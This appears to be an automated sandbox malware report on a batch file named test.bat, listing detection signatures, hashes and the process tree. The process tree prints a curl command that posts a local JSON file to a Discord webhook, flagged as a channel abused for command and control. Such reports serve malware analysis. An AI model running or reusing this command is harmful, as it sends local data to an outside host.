Overview

overview

6

Static

static

1

test.bat

windows10-2004-x64

6

test.bat

windows11-ltsc_2024-x64

6

Analysis

  • user interaction
    yes
  • max time kernel
    899s
  • max time network
    590s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 18:38

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General

  • Target
    test.bat
  • Size 4KB
  • Sample260803-xabvfadh82
  • SHA256 cf0bbc0d88fa8e61268ac55a900f25f144089075ad54d58921d57d8c9358f69b
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
execution

Malware Config

Signatures

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Suspicious use of WriteProcessMemory 1 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4516
    • C:\Windows\system32\curl.exe
      curl -s -X POST -H "Content-Type: application/json" -d @"C:\Users\Admin\AppData\Local\Temp\temp_json.json" "https://discord.com/api/webhooks/1533826347154276453/rsNxUjU6q0Jv-WcyYWYIvaaRoR0-VaGhKR8i6TY3GkjlZKFvYWYTN9_6mkJMLLRDx5NLma"
      2⤵
        PID:4276
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:2400
      • C:\Windows\System32\SecurityHealthHost.exe
        \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
        1⤵
          PID:2144

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              temp_json.json
              • Path C:\Users\Admin\AppData\Local\Temp\temp_json.json
              • Size 4B
              • SHA256 4cac7b815afc71d350be5f70bc0cd2f2687f38d08986655cb86fc4e2d6aa826b
              • MD5 SHA1 SHA512
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